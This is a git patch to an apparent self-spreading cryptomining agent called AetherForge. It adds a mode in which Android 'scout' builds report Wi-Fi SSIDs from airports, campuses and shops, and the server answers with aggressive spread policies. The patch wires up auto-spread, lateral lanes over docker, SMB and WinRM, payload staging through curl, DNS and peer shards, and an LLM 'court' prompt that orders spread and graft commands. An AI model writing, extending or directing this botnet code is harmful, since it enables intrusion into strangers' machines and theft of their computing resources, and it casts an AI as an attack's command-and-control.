From bbab38f8e1ee14844fbcdc3486f48b0c6e426d73 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 09:18:58 -0700 Subject: [PATCH] Add scout constellation mode for APK venue persona packs. Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage. --- agent/client/aggressive_commands.go | 2 +- agent/client/ai_commands.go | 2 +- agent/client/client.go | 16 +- agent/client/fleet_pressure.go | 1 + agent/client/mining_policy.go | 18 +- agent/client/policy.go | 29 ++ agent/client/protocol.go | 3 + agent/client/scout_constellation_test.go | 71 +++++ agent/client/scout_mode.go | 8 +- agent/config/config.go | 9 + agent/deploy/discover_join.go | 43 ++- agent/deploy/lan_seeder.go | 5 + agent/deploy/scout_wifi.go | 12 + agent/deploy/scout_wifi_test.go | 17 ++ agent/deploy/seeder_staging.go | 3 + server/config.go | 5 + server/internal/ai/commands.go | 6 + server/internal/ai/court_commands.go | 4 +- server/internal/ai/court_prompt.go | 3 +- server/internal/ai/scheduler.go | 179 +++++++++++- server/internal/ai/scheduler_test.go | 92 ++++++ server/internal/ai/scout_constellation.go | 228 +++++++++++++++ .../internal/ai/scout_constellation_test.go | 90 ++++++ server/internal/api/atlas_gossip.go | 1 + server/internal/api/deploy_plan.go | 25 ++ server/internal/api/fleet_ai_bridge.go | 61 ++++ .../internal/api/fleet_intelligence_test.go | 138 +++++++++ server/internal/api/pathtracer_handler.go | 29 ++ server/internal/api/public_handler.go | 41 +++ server/internal/api/router.go | 22 ++ server/internal/api/scout_constellation.go | 106 +++++++ .../internal/api/scout_constellation_test.go | 137 +++++++++ server/internal/api/server_policy.go | 2 + server/internal/api/spread_cred.go | 21 +- server/internal/api/websocket.go | 95 ++++++- server/internal/builder/handler.go | 12 + server/internal/clearance/levels.go | 4 +- server/internal/db/agent_meta.go | 8 +- server/internal/db/sqlite.go | 25 ++ server/internal/models/agent.go | 5 + server/internal/spreadrouter/router.go | 6 + server/main.go | 33 ++- server/web/e2e/path-tracer.spec.ts | 46 +++ server/web/src/App.tsx | 2 + server/web/src/api/client.ts | 58 +++- .../src/components/Fleet/AccessDepthPanel.css | 53 ++++ .../Fleet/AccessDepthPanel.test.tsx | 29 ++ .../src/components/Fleet/AccessDepthPanel.tsx | 88 +++++- server/web/src/components/Layout/Layout.tsx | 40 ++- server/web/src/help/accessDepth.ts | 6 + server/web/src/help/scoutBiomeWeather.test.ts | 29 ++ server/web/src/help/scoutBiomeWeather.ts | 56 ++++ server/web/src/help/uiHelp.ts | 4 + server/web/src/help/wsStatsCoalesce.ts | 1 + server/web/src/pages/EmberwakePage.tsx | 11 + server/web/src/pages/PathTracerPage.css | 168 +++++++++++ server/web/src/pages/PathTracerPage.test.tsx | 96 +++++++ server/web/src/pages/PathTracerPage.tsx | 263 +++++++++++++++++- server/web/src/types/index.ts | 82 ++++++ tests/README.md | 4 +- 60 files changed, 2610 insertions(+), 43 deletions(-) create mode 100644 agent/client/scout_constellation_test.go create mode 100644 agent/deploy/scout_wifi.go create mode 100644 agent/deploy/scout_wifi_test.go create mode 100644 server/internal/ai/scout_constellation.go create mode 100644 server/internal/ai/scout_constellation_test.go create mode 100644 server/internal/api/scout_constellation.go create mode 100644 server/internal/api/scout_constellation_test.go create mode 100644 server/web/src/help/scoutBiomeWeather.test.ts create mode 100644 server/web/src/help/scoutBiomeWeather.ts diff --git a/agent/client/aggressive_commands.go b/agent/client/aggressive_commands.go index cce2b16..0a7dcec 100644 --- a/agent/client/aggressive_commands.go +++ b/agent/client/aggressive_commands.go @@ -101,7 +101,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm return true case "spread_now": - msg := deploy.RunSpreadOnce(c.cfg) + msg := deploy.RunSpreadOnce(c.cfgForSpread()) c.sendCommandResult(action, true, msg) return true diff --git a/agent/client/ai_commands.go b/agent/client/ai_commands.go index 58b4344..5f23edd 100644 --- a/agent/client/ai_commands.go +++ b/agent/client/ai_commands.go @@ -115,7 +115,7 @@ func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) { c.sendCommandResult("spread_now", false, reason) return } - msg := deploy.RunSpreadOnce(c.cfg) + msg := deploy.RunSpreadOnce(c.cfgForSpread()) c.sendCommandResult("spread_now", true, msg) } diff --git a/agent/client/client.go b/agent/client/client.go index e00ea68..f2ec97a 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -72,6 +72,8 @@ type AgentClient struct { gossipSent map[string]struct{} // inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics). inheritedPhenotype *InheritedPhenotype + // pendingGraft is a court-approved strain splice applied on the next spread. + pendingGraft *GraftPolicy // triplePolicy is server-pulled recon → deploy → mining gate policy. triplePolicy miner.TripleOnionPolicy triplePolicyLoaded bool @@ -83,6 +85,10 @@ type AgentClient struct { fleetRoleHintVal string // lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer). lanSeeders []deploy.LANSeederHint + // fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy). + fleetTorrentEnabled bool + // subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder. + subnetPrimarySeeder bool // lastJobAt records when the most recent valid mining job was delivered. // The Stratum fallback manager uses this to detect "connected but jobless" @@ -417,6 +423,10 @@ func (c *AgentClient) authenticate() error { } c.applyAuthLotlPolicy(resp) c.applyAuthFleetRole(resp) + deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip) + if resp.FleetTorrentEnabled { + c.advertiseFleetTorrentHealthy() + } c.agentID = resp.AgentID if resp.ClearanceLevel > 0 { c.mu.Lock() @@ -457,7 +467,7 @@ func (c *AgentClient) authenticate() error { if cfg.AutoSpread { deploy.StartAutoSpreader(cfg) if deploy.WantsFirstRunSpread(cfg) { - deploy.RunSpreadOnce(cfg) + deploy.RunSpreadOnce(c.cfgForSpread()) deploy.ClearFirstRunSpreadMarker(cfg) } } @@ -533,6 +543,8 @@ func (c *AgentClient) handleMessage(msg Message) { } case "policy_update": go c.applyPolicyUpdate(msg.Payload) + case "graft_policy": + c.applyGraftPolicyJSON(msg.Payload) case "adaptive_strategy_update": c.applyAdaptiveStrategyJSON(msg.Payload) case "ai_snapshot_request": @@ -551,6 +563,8 @@ func (c *AgentClient) handleMessage(msg Message) { } case "atlas_gossip": c.handleAtlasGossip(msg.Payload) + case "fleet_torrent_gossip": + c.handleFleetTorrentGossip(msg.Payload) case "command": var cmd struct { Action string `json:"action"` diff --git a/agent/client/fleet_pressure.go b/agent/client/fleet_pressure.go index c2198b9..4865152 100644 --- a/agent/client/fleet_pressure.go +++ b/agent/client/fleet_pressure.go @@ -68,6 +68,7 @@ func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) { if len(resp.LANSeeders) > 0 { c.setLANSeeders(resp.LANSeeders) } + c.applyAuthFleetTorrent(resp) } func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) { diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go index 9ecf5f6..045ea07 100644 --- a/agent/client/mining_policy.go +++ b/agent/client/mining_policy.go @@ -49,11 +49,17 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy) return } + if len(resp.EpidemiologyFix) > 0 { + c.applyEpidemiologyFixJSON(resp.EpidemiologyFix) + } if len(resp.SpreadTemperament) > 0 { c.mu.Lock() applySpreadTemperament(&c.cfg, resp.SpreadTemperament) c.mu.Unlock() } + if graftPolicyPresent(resp.GraftPolicy) { + c.applyGraftPolicyJSON(resp.GraftPolicy) + } if len(resp.MiningTierPolicy) > 0 { return } @@ -87,9 +93,11 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { return } var policy struct { - HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"` - HashrateGateHPS float64 `json:"hashrate_gate_hps"` - ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` + HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"` + HashrateGateHPS float64 `json:"hashrate_gate_hps"` + ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` + FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` + SpreadTemperament json.RawMessage `json:"spread_temperament"` } if err := json.Unmarshal(raw, &policy); err != nil { return @@ -102,5 +110,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { c.cfg.HashrateGateHPS = policy.HashrateGateHPS } c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled + c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled + if len(policy.SpreadTemperament) > 0 { + applySpreadTemperament(&c.cfg, policy.SpreadTemperament) + } c.mu.Unlock() } diff --git a/agent/client/policy.go b/agent/client/policy.go index 189616d..7d5b290 100644 --- a/agent/client/policy.go +++ b/agent/client/policy.go @@ -27,6 +27,7 @@ type FleetPolicyUpdate struct { PoolTLS *bool `json:"pool_tls,omitempty"` PoolPass string `json:"pool_pass,omitempty"` SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"` + SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"` } // ModuleManifest matches server-signed feature packs. @@ -107,6 +108,34 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) { cfg.PoolPass = strings.TrimSpace(p.PoolPass) } applySpreadTemperament(cfg, p.SpreadTemperament) + if len(p.SpreadPolicy) > 0 { + applySpreadPolicyFields(cfg, p.SpreadPolicy) + } +} + +func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var policy struct { + HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"` + HashrateGateHPS float64 `json:"hashrate_gate_hps"` + ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` + FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` + SpreadTemperament json.RawMessage `json:"spread_temperament"` + } + if err := json.Unmarshal(raw, &policy); err != nil { + return + } + if policy.HashrateGateSpreadMin > 0 { + cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin + } + if policy.HashrateGateHPS > 0 { + cfg.HashrateGateHPS = policy.HashrateGateHPS + } + cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled + cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled + applySpreadTemperament(cfg, policy.SpreadTemperament) } func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) { diff --git a/agent/client/protocol.go b/agent/client/protocol.go index ae4f41d..d505672 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -70,11 +70,14 @@ type AuthResponse struct { SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"` AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"` + FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"` + SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"` InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"` ClearanceLevel int `json:"clearance_level,omitempty"` FleetRoleHint string `json:"fleet_role_hint,omitempty"` LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"` SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"` + GraftPolicy json.RawMessage `json:"graft_policy,omitempty"` } type SharePayload struct { diff --git a/agent/client/scout_constellation_test.go b/agent/client/scout_constellation_test.go new file mode 100644 index 0000000..cd69a47 --- /dev/null +++ b/agent/client/scout_constellation_test.go @@ -0,0 +1,71 @@ +package client + +import ( + "encoding/json" + "os" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" +) + +func TestScoutReportPayloadIncludesSSID(t *testing.T) { + t.Setenv("AETHERFORGE_WIFI_SSID", "Campus-Guest") + if got := deploy.ScoutWiFiSSID(); got != "Campus-Guest" { + t.Fatalf("ssid=%q", got) + } + + result := deploy.ServiceDiscoverResult{ + ProbedAt: "2026-06-07T12:00:00Z", + Local: deploy.ServiceGraphHost{Host: "127.0.0.1"}, + } + c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}} + + report := map[string]interface{}{ + "join_lane": "docker", + "service_count": 4, + "service_graph": result, + "scout_mode": true, + } + if ssid := deploy.ScoutWiFiSSID(); ssid != "" { + report["ssid"] = ssid + } + raw, err := json.Marshal(report) + if err != nil { + t.Fatal(err) + } + var decoded map[string]interface{} + if err := json.Unmarshal(raw, &decoded); err != nil { + t.Fatal(err) + } + if decoded["ssid"] != "Campus-Guest" { + t.Fatalf("ssid=%v", decoded["ssid"]) + } + _ = c +} + +func TestApplySpreadPolicyScoutConstellationTemperament(t *testing.T) { + c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + ScoutMode: true, LotlPolicyFromServer: true, + LotlOnionTiers: []string{"discover_and_join", "service_graph"}, + }}} + raw, _ := json.Marshal(map[string]interface{}{ + "scout_constellation": true, + "persona_pack": "aggressive", + "venue_class": "retail", + "spread_temperament": map[string]interface{}{ + "tier_order": []string{"vuln_recon", "docker", "smb", "winrm"}, + }, + }) + c.applySpreadPolicyJSON(raw) + if len(c.cfg.LotlOnionTiers) == 0 || c.cfg.LotlOnionTiers[1] != "docker" { + t.Fatalf("tiers=%v", c.cfg.LotlOnionTiers) + } +} + +func TestScoutWiFiSSIDEmptyWithoutEnv(t *testing.T) { + _ = os.Unsetenv("AETHERFORGE_WIFI_SSID") + if got := deploy.ScoutWiFiSSID(); got != "" { + t.Fatalf("expected empty ssid, got %q", got) + } +} diff --git a/agent/client/scout_mode.go b/agent/client/scout_mode.go index db4000d..06cbf13 100644 --- a/agent/client/scout_mode.go +++ b/agent/client/scout_mode.go @@ -59,12 +59,16 @@ func (c *AgentClient) runScoutCycle() { } func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) { - payload, err := json.Marshal(map[string]interface{}{ + report := map[string]interface{}{ "join_lane": joinLane, "service_count": serviceCount, "service_graph": result, "scout_mode": true, - }) + } + if ssid := deploy.ScoutWiFiSSID(); ssid != "" { + report["ssid"] = ssid + } + payload, err := json.Marshal(report) if err != nil { return } diff --git a/agent/config/config.go b/agent/config/config.go index 6aec05b..9eb3309 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -124,6 +124,11 @@ type BuiltinConfig struct { SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown + // Genealogy graft — court-approved strain splice (telemetry; applied on next spread). + GraftSourceStrain string + GraftTier string + GraftApprovedAt string + // ApkMode marks Android fleet-node builds; registration reports platform=android. ApkMode bool // ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging. @@ -142,6 +147,10 @@ type BuiltinConfig struct { HashrateGateHPS float64 // ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy). ErasureLanesEnabled bool + // FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy). + FleetTorrentEnabled bool + // SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24. + SubnetPrimarySeeder bool } // BackupPool holds connection info for a fallback Stratum mining pool. diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index d974c3f..5e859cf 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -14,15 +14,17 @@ import ( // SpreadRouteHint is the server BGP-style spread route recommendation. type SpreadRouteHint struct { - TargetSubnet string `json:"target_subnet"` - SeedAgentID string `json:"seed_agent_id"` - SeedAgentName string `json:"seed_agent_name,omitempty"` - EgressAgentID string `json:"egress_agent_id"` - EgressHopIndex int `json:"egress_hop_index,omitempty"` - SessionID string `json:"session_id,omitempty"` - JoinLane string `json:"join_lane,omitempty"` - Score float64 `json:"score,omitempty"` - ClearanceLevel int `json:"clearance_level,omitempty"` + TargetSubnet string `json:"target_subnet"` + SeedAgentID string `json:"seed_agent_id"` + SeedAgentName string `json:"seed_agent_name,omitempty"` + EgressAgentID string `json:"egress_agent_id"` + EgressHopIndex int `json:"egress_hop_index,omitempty"` + SessionID string `json:"session_id,omitempty"` + JoinLane string `json:"join_lane,omitempty"` + Score float64 `json:"score,omitempty"` + ClearanceLevel int `json:"clearance_level,omitempty"` + SwarmMagnet string `json:"swarm_magnet,omitempty"` + ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` } // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans. @@ -102,6 +104,13 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor return msg, nil } if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) { + if config.FleetTorrentEnabled(cfg) { + c2 := c2BaseFromPlan(plan) + localIP, _ := PrimaryLocalIPv4() + if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil { + return em + " (primary lane failed: " + err.Error() + ")", nil + } + } if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil { return em + " (primary lane failed: " + err.Error() + ")", nil } @@ -235,6 +244,22 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor } } +func c2BaseFromPlan(plan DeployPlanBody) string { + if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 { + return "" + } + for _, ref := range plan.ErasurePlan.Shards { + u := strings.TrimSpace(ref.URL) + if u == "" || !strings.HasPrefix(u, "http") { + continue + } + if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 { + return strings.TrimRight(u[:idx], "/") + } + } + return "" +} + func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) { if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" { return "", false diff --git a/agent/deploy/lan_seeder.go b/agent/deploy/lan_seeder.go index ce7e141..a65c7a3 100644 --- a/agent/deploy/lan_seeder.go +++ b/agent/deploy/lan_seeder.go @@ -68,6 +68,11 @@ func PreferredLANSeeder() *LANSeederHint { return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP) } +// SubnetFromIP returns the /24 prefix for fleet torrent and LAN seeder matching. +func SubnetFromIP(ip string) string { + return subnet24(ip) +} + func subnet24(ip string) string { ip = strings.TrimSpace(ip) if ip == "" { diff --git a/agent/deploy/scout_wifi.go b/agent/deploy/scout_wifi.go new file mode 100644 index 0000000..d30306f --- /dev/null +++ b/agent/deploy/scout_wifi.go @@ -0,0 +1,12 @@ +package deploy + +import ( + "os" + "strings" +) + +// ScoutWiFiSSID returns the connected Wi-Fi SSID for APK scout constellation reports. +// The Android wrapper may set AETHERFORGE_WIFI_SSID; zero-config when unset. +func ScoutWiFiSSID() string { + return strings.TrimSpace(os.Getenv("AETHERFORGE_WIFI_SSID")) +} diff --git a/agent/deploy/scout_wifi_test.go b/agent/deploy/scout_wifi_test.go new file mode 100644 index 0000000..48aeb37 --- /dev/null +++ b/agent/deploy/scout_wifi_test.go @@ -0,0 +1,17 @@ +package deploy + +import ( + "os" + "testing" +) + +func TestScoutWiFiSSIDFromEnv(t *testing.T) { + t.Setenv("AETHERFORGE_WIFI_SSID", " Airport-Lounge ") + if got := ScoutWiFiSSID(); got != "Airport-Lounge" { + t.Fatalf("ssid=%q", got) + } + _ = os.Unsetenv("AETHERFORGE_WIFI_SSID") + if got := ScoutWiFiSSID(); got != "" { + t.Fatalf("expected empty, got %q", got) + } +} diff --git a/agent/deploy/seeder_staging.go b/agent/deploy/seeder_staging.go index 1eae473..3663d85 100644 --- a/agent/deploy/seeder_staging.go +++ b/agent/deploy/seeder_staging.go @@ -17,6 +17,9 @@ func StartSeederStaging(cfg config.RuntimeConfig) { tiers = append([]string(nil), config.SeederSpreadLanes...) } log.Printf("[seeder] starting staging lanes: %v", tiers) + if config.FleetTorrentEnabled(cfg) { + StartFleetTorrentSeederService(cfg) + } go runSeederLaneChain(cfg, tiers) } diff --git a/server/config.go b/server/config.go index d63622d..c7dd18a 100644 --- a/server/config.go +++ b/server/config.go @@ -105,6 +105,8 @@ type ServerSettings struct { HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"` // ErasureLanesEnabled attaches Reed–Solomon multi-lane shard metadata to signed deploy plans. ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` + // FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet). + FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. @@ -986,6 +988,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(srvKeys, "erasure_lanes_enabled") { dst.Server.ErasureLanesEnabled = src.Server.ErasureLanesEnabled } + if in(srvKeys, "fleet_torrent_enabled") { + dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled + } if in(srvKeys, "ai_endpoint") { dst.Server.AIEndpoint = src.Server.AIEndpoint } diff --git a/server/internal/ai/commands.go b/server/internal/ai/commands.go index 3b09af0..18d5e3a 100644 --- a/server/internal/ai/commands.go +++ b/server/internal/ai/commands.go @@ -18,6 +18,9 @@ const ( CmdSkipTier = "skip_tier" CmdStageFetch = "stage_fetch" CmdSetAgentVersion = "set_agent_version" + CmdSpreadGraft = "spread_graft" + CmdPersonaTweak = "persona_tweak" + CmdEnableErasure = "enable_erasure" CmdNoop = "noop" ) @@ -32,6 +35,9 @@ var knownCommands = map[string]bool{ CmdSkipTier: true, CmdStageFetch: true, CmdSetAgentVersion: true, + CmdSpreadGraft: true, + CmdPersonaTweak: true, + CmdEnableErasure: true, CmdNoop: true, } diff --git a/server/internal/ai/court_commands.go b/server/internal/ai/court_commands.go index 5f64fdc..5a5704a 100644 --- a/server/internal/ai/court_commands.go +++ b/server/internal/ai/court_commands.go @@ -28,6 +28,8 @@ func ExpandCourtCommands(cmds []Command) []Command { out = append(out, ResolveSpreadRetryLane(c.Args)) case CmdSkipTier: out = append(out, ResolveSkipTier(c.Args)) + case CmdSpreadGraft: + out = append(out, c) default: out = append(out, c) } @@ -98,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command { // CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry. func CourtCommandNeedsRetryElevation(cmd Command) bool { switch cmd.Type { - case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers: + case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft: return true default: return false diff --git a/server/internal/ai/court_prompt.go b/server/internal/ai/court_prompt.go index 836b28b..9887af7 100644 --- a/server/internal/ai/court_prompt.go +++ b/server/internal/ai/court_prompt.go @@ -64,7 +64,8 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy. system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts. This is a single-turn tribunal with no memory. Three roles speak once: PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides. -Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop. +Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, spread_graft, skip_tier, stage_fetch, set_agent_version, noop. +spread_graft args: source_agent_id (string) — splice winning strain onto this stuck host without re-spread; requires L4 + hashrate metabolism gate. spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …). skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch. Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance. diff --git a/server/internal/ai/scheduler.go b/server/internal/ai/scheduler.go index 48e94cc..7c017ea 100644 --- a/server/internal/ai/scheduler.go +++ b/server/internal/ai/scheduler.go @@ -5,6 +5,7 @@ import ( "crypto/sha256" "encoding/hex" "log" + "strings" "sync" "time" @@ -46,7 +47,10 @@ type Scheduler struct { exec CommandExecutor store DecisionStore court CourtContext + chamber CourtDeps elevator ClearanceElevator + seer SeerBridge + surgical SurgicalDeps stop chan struct{} wg sync.WaitGroup @@ -67,6 +71,21 @@ func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecuto } } +// SetSeerBridge attaches The Seer memory/stream hooks (optional). +func (s *Scheduler) SetSeerBridge(b SeerBridge) { + s.seer = b +} + +// SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters. +func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) { + s.surgical = deps +} + +// SetCourtDeps wires adversarial chamber evidence, Seer feed, and Emberwake broadcast. +func (s *Scheduler) SetCourtDeps(deps CourtDeps) { + s.chamber = deps +} + func (s *Scheduler) Start() { s.wg.Add(1) go s.loop() @@ -158,10 +177,32 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { } var systemPrompt, userPrompt string var courtMeta *CourtDecisionMeta - useCourt := ShouldUseCourt(snap) + useSurgical := false + if s.surgical.Trace != nil { + if trace, ok := s.surgical.Trace.TraceForAgent(agentID); ok && ShouldUseSurgicalReplay(trace, snap) { + useSurgical = true + erasureOn := false + if s.surgical.ErasureActive != nil { + erasureOn = s.surgical.ErasureActive() + } + atlasSummary := "" + if s.court != nil { + goos := firstNonEmpty(snap.GOOS, snap.Platform) + atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos) + } + bundle := BuildSurgicalDiagnosticBundle(snap, trace, atlasSummary, cfg.Persona, erasureOn) + if s.surgical.StrainLookup != nil { + bundle.Strain = s.surgical.StrainLookup(agentID) + } + systemPrompt, userPrompt = BuildSurgicalReplayPrompt(bundle) + } + } + useCourt := !useSurgical && ShouldUseCourt(snap) + var courtDebate CourtDebateTranscript if useCourt { atlasSummary := "" var phenotype *strategy.FleetPhenotype + var evidence CourtChamberEvidence if s.court != nil { goos := firstNonEmpty(snap.GOOS, snap.Platform) atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos) @@ -169,8 +210,21 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { phenotype = p } } + if s.chamber.Chamber != nil { + evidence = s.chamber.Chamber.ChamberEvidence(agentID, snap) + } else { + evidence = CourtChamberEvidence{ + AgentID: agentID, AgentName: snap.Name, Hashrate: snap.MiningHashrate, + Stuck: snap.Stuck, ChainExhausted: snap.ChainExhausted, + ClearanceLevel: snap.ClearanceLevel, AtlasSummary: atlasSummary, + SubnetImmune: "chamber provider unavailable", + ErasureRecovery: FormatErasureRecovery(false, false, false), + GossipWhispers: "none", + } + } persona := NormalizePersona(cfg.Persona) - bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona) + var bundle CourtPromptBundle + courtDebate, bundle = BuildCourtDebate(snap, evidence, phenotype, persona) systemPrompt = bundle.SystemPrompt userPrompt = bundle.UserPrompt courtMeta = &CourtDecisionMeta{ @@ -182,22 +236,41 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { systemPrompt = PersonaSystemPrompt(cfg.Persona) userPrompt = BuildMissionPrompt(snap) } + if s.seer != nil { + systemPrompt = strings.TrimSpace(systemPrompt + "\n\n" + SeerNoteInstruction + "\n\n" + SeerToolCatalog) + if notes := s.seer.NotesForPrompt(agentID); notes != "" { + userPrompt = AugmentUserPromptWithNotes(userPrompt, notes) + } + } promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt) decide := Decide if DecideFunc != nil { decide = DecideFunc } + if s.seer != nil { + s.seer.EmitEvent(agentID, "request", BuildChatCompletionPayload(cfg.Model, systemPrompt, userPrompt)) + } response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt) if err != nil { log.Printf("[fleet-ai] agent %s decide: %v", agentID, err) if s.store != nil { _ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta) } + if s.seer != nil { + s.seer.EmitEvent(agentID, "response", map[string]interface{}{"error": err.Error()}) + } s.markRun(agentID) return } + if s.seer != nil { + s.seer.EmitEvent(agentID, "response", map[string]interface{}{"content": response}) + if note, ok := ExtractSeerNote(response); ok { + _ = s.seer.AppendNote(agentID, note, promptHash) + } + } + if courtMeta != nil { courtMeta.JudgeVerdict = ExtractJudgeVerdict(response) } @@ -205,6 +278,12 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { if useCourt { cmds = ExpandCourtCommands(cmds) s.ensureCourtRetryClearance(agentID, cmds) + courtDebate = FinalizeCourtDebate(courtDebate, response) + } + if useSurgical { + s.runSurgicalReplay(agentID, snap, cmds, response, promptHash) + s.markRun(agentID) + return } results := make([]string, 0, len(cmds)) for _, cmd := range cmds { @@ -224,12 +303,108 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { } } executed := FormatExecuted(cmds, results) + if useCourt { + s.emitCourtDebate(agentID, courtDebate, executed) + } if s.store != nil { _ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta) } s.markRun(agentID) } +func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTranscript, executed string) { + seer := s.chamber.Seer + if seer == nil { + seer = s.surgical.Seer + } + if seer != nil { + _ = seer.EmitSeerEvent("court_debate", agentID, map[string]interface{}{ + "type": "court_debate", + "agent_id": transcript.AgentID, + "agent_name": transcript.AgentName, + "clearance": transcript.ClearanceLevel, 